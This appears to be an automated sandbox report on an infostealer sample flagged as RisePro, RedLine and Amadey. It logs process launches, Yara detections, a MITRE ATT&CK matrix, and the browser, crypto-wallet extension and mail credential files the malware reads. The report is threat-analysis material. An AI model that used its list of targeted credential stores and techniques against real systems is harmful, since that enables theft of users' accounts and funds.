Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.facebook.com/login	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" https://accounts.google.com	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.facebook.com/login	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://accounts.google.com	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe	Process created: unknown unknown

Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe

Code function: 16_2_00670B62 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,

16_2_00670B62

Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe

Code function: 16_2_00671663 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

16_2_00671663

Source: 3kaNpKWTvXjwLZn_llOJ.exe, 00000010.00000000.2300203640.00000000006D2000.00000002.00000001.01000000.0000000A.sdmp, 3kaNpKWTvXjwLZn_llOJ.exe.2.dr	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: 3kaNpKWTvXjwLZn_llOJ.exe	Binary or memory string: Shell_TrayWnd
Source: firefox.exe, 00000033.00000003.2989495444.0000026F5C26E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: hSoftware\Policies\Microsoft\Windows\PersonalizationNoChangingStartMenuBackgroundPersonalColors_BackgroundWilStaging_02RtlDisownModuleHeapAllocationRtlQueryFeatureConfigurationRtlRegisterFeatureConfigurationChangeNotificationRtlSubscribeWnfStateChangeNotificationRtlDllShutdownInProgressntdll.dllNtQueryWnfStateDataLocal\SM0:%d:%d:%hs_p0Local\SessionImmersiveColorPreferenceBEGINTHMthmfile\Sessions\%d\Windows\ThemeSectionMessageWindowendthemewndThemeApiConnectionRequest\ThemeApiPortwinsta0SOFTWARE\Microsoft\Windows\CurrentVersion\Themes\PersonalizeAppsUseLightThemeSystemUsesLightThemedefaultshell\themes\uxtheme\render.cppCompositedWindow::WindowdeletedrcacheMDIClientSoftware\Microsoft\Windows\DWMColorPrevalenceSoftware\Microsoft\Windows\CurrentVersion\ImmersiveShellTabletModeMENUAccentColorSoftware\Microsoft\Windows\CurrentVersion\Explorer\AccentDefaultStartColorControl Panel\DesktopAutoColorizationAccentColorMenuStartColorMenuAutoColorSoftware\Microsoft\Windows\CurrentVersion\Themes\History\ColorsSoftware\Microsoft\Windows\CurrentVersion\Themes\HistoryAccentPaletteTab$Shell_TrayWndLocal\SessionImmersiveColorMutex

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_004FB4A3 cpuid

2_2_004FB4A3

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: RegOpenKeyExA,RegQueryValueExA,RegCloseKey,GetCurrentHwProfileA,GetModuleHandleExA,GetModuleFileNameA,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,GetComputerNameA,GetUserNameA,GetDesktopWindow,GetWindowRect,GetUserDefaultLocaleName,GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,GetLocalTime,GetSystemTime,GetTimeZoneInformation,TzSpecificLocalTimeToSystemTime,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,GetSystemInfo,GlobalMemoryStatusEx,EnumDisplayDevicesA,EnumDisplayDevicesA,CreateToolhelp32Snapshot,Process32First,Process32Next,Process32Next,Process32Next,CloseHandle,RegOpenKeyExA,RegEnumKeyExA,wsprintfA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,RegCloseKey,	2_2_0040FCB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	2_2_0051C044
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	2_2_0051C14A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	2_2_0051C220
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	2_2_005127E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoEx,FormatMessageA,	2_2_004F984F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	2_2_0051B8AB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	2_2_0051BAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	2_2_0051BB57
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	2_2_0051BBA2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	2_2_0051BC3D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	2_2_0051BCC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	2_2_00512D64
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	2_2_0051BF1B

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Queries volume information: C:\ProgramData\MPGPH131\MPGPH131.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Queries volume information: C:\ProgramData\MPGPH131\MPGPH131.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Queries volume information: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Queries volume information: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe	Queries volume information: C:\Users\user\AppData\Roaming\006700e5a2ab05\cred64.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe	Queries volume information: C:\Users\user\AppData\Roaming\006700e5a2ab05\cred64.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe	Queries volume information: C:\Users\user\AppData\Roaming\006700e5a2ab05\clip64.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe	Queries volume information: C:\Users\user\AppData\Roaming\006700e5a2ab05\clip64.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000397001\autorun.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000397001\autorun.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000400001\setuppowergrepdemo.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000400001\setuppowergrepdemo.exe VolumeInformation

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

2_2_0040FCB0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_0041F380 GetModuleFileNameA,GetUserNameA,__Mtx_unlock,

2_2_0041F380

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00514AB3 GetTimeZoneInformation,

2_2_00514AB3

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_004ADA60 GetVersionExA,CreateFileW,CreateFileA,GetDiskFreeSpaceW,GetDiskFreeSpaceA,

2_2_004ADA60

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Yara detected Amadeys Clipper DLL

Stealing of Sensitive Information

Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\clip64[1].dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\006700e5a2ab05\clip64.dll, type: DROPPED

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 46.2.explorhe.exe.950000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.PXBvYMcLF9IUsaGl9axr.exe.db0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.2431950677.0000000000DB1000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 0000002E.00000002.4707775638.0000000000951000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\clip64[1].dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\006700e5a2ab05\clip64.dll, type: DROPPED

Yara detected RedLine Stealer

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected RisePro Stealer

Source: Yara match	File source: 2.2.RegAsm.exe.15e7e63.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegAsm.exe.15e622d.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegAsm.exe.15e7e63.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe.43f5570.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegAsm.exe.15e622d.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.2596470514.00000000015D9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2084693372.00000000043F5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2594202655.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 5868, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\xVorLOq_sWZyw11ZiThUZWTpoEoWfgdl.zip, type: DROPPED

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\LocalPrefs.json	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\0absryc3.default\formhistory.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\signons.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\0absryc3.default\logins.json	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\kncchdigobghenbbaddojjnnaogfppfj\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\0absryc3.default\signons.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\chrome-extension_cjelfplplebdjjenllpjcblmjkfcffne_0.indexeddb.leveldb\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\0absryc3.default\places.sqlite	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior

Source: 3kaNpKWTvXjwLZn_llOJ.exe	Binary or memory string: WIN_81
Source: 3kaNpKWTvXjwLZn_llOJ.exe	Binary or memory string: WIN_XP
Source: 3kaNpKWTvXjwLZn_llOJ.exe.2.dr	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYRegDeleteKeyExWadvapi32.dll+.-.\\[\\nrt]\|%%\|%[-+ 0#]?([0-9]\|\)?(\.[0-9]\|\.\)?[hlL]?[diouxXeEfgGs](*UCP)\XISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGGETCOUNTSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXPANDmsctls_statusbar321tooltips_class32%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----@GUI_DRAGID@GUI_DROPID@GUI_DRAGFILEError text not found (please report)Q\EDEFINEUTF16)UTF)UCP)NO_AUTO_POSSESS)NO_START_OPT)LIMIT_MATCH=LIMIT_RECURSION=CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressionargument not compiled in 16 bit modeinternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
Source: 3kaNpKWTvXjwLZn_llOJ.exe	Binary or memory string: WIN_XPe
Source: 3kaNpKWTvXjwLZn_llOJ.exe	Binary or memory string: WIN_VISTA
Source: 3kaNpKWTvXjwLZn_llOJ.exe	Binary or memory string: WIN_7
Source: 3kaNpKWTvXjwLZn_llOJ.exe	Binary or memory string: WIN_8

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected RisePro Stealer

Source: Yara match	File source: 2.2.RegAsm.exe.15e7e63.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegAsm.exe.15e622d.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegAsm.exe.15e7e63.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe.43f5570.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegAsm.exe.15e622d.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.2596470514.00000000015D9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2084693372.00000000043F5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2594202655.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 5868, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\xVorLOq_sWZyw11ZiThUZWTpoEoWfgdl.zip, type: DROPPED

Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe	Code function: 16_2_00691204 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,		16_2_00691204
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe	Code function: 16_2_00691806 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		16_2_00691806

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact	Resource Development	Reconnaissance
2 Valid Accounts	12 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	11 Disable or Modify Tools	1 OS Credential Dumping	12 System Time Discovery	Remote Services	11 Archive Collected Data	Exfiltration Over Other Network Medium	14 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	1 System Shutdown/Reboot	Acquire Infrastructure	Gather Victim Identity Information
Default Accounts	2 Command and Scripting Interpreter	2 Valid Accounts	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	Exfiltration Over Bluetooth	11 Encrypted Channel	SIM Card Swap	Obtain Device Cloud Backups	Network Denial of Service	Domains	Credentials
Domain Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Extra Window Memory Injection	3 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	Automated Exfiltration	1 Non-Standard Port			Data Encrypted for Impact	DNS Server	Email Addresses
Local Accounts	Cron	11 Registry Run Keys / Startup Folder	2 Valid Accounts	23 Software Packing	NTDS	48 System Information Discovery	Distributed Component Object Model	1 Email Collection	Traffic Duplication	4 Non-Application Layer Protocol			Data Destruction	Virtual Private Server	Employee Names
Cloud Accounts	Launchd	Network Logon Script	21 Access Token Manipulation	1 DLL Side-Loading	LSA Secrets	351 Security Software Discovery	SSH	21 Input Capture	Scheduled Transfer	115 Application Layer Protocol			Data Encrypted for Impact	Server	Gather Victim Network Information
Replication Through Removable Media	Scheduled Task	RC Scripts	512 Process Injection	1 Extra Window Memory Injection	Cached Domain Credentials	231 Virtualization/Sandbox Evasion	VNC	3 Clipboard Data	Data Transfer Size Limits	Multiband Communication			Service Stop	Botnet	Domain Properties
External Remote Services	Systemd Timers	Startup Items	1 Scheduled Task/Job	1 Masquerading	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over C2 Channel	Commonly Used Port			Inhibit System Recovery	Web Services	DNS
Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	11 Registry Run Keys / Startup Folder	2 Valid Accounts	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Exfiltration Over Alternative Protocol	Application Layer Protocol			Defacement	Serverless	Network Trust Dependencies
Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	231 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Web Protocols			Internal Defacement	Malvertising	Network Topology
Supply Chain Compromise	PowerShell	Cron	Cron	21 Access Token Manipulation	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	File Transfer Protocols			External Defacement	Compromise Infrastructure	IP Addresses
Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	512 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Exfiltration Over Unencrypted Non-C2 Protocol	Mail Protocols			Firmware Corruption	Domains	Network Security Appliances

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe	24%	ReversingLabs	Win32.Trojan.Generic
SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\MPGPH131\MPGPH131.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\autorun[1].exe	74%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\clip64[1].dll	96%	ReversingLabs	Win32.Trojan.Amadey
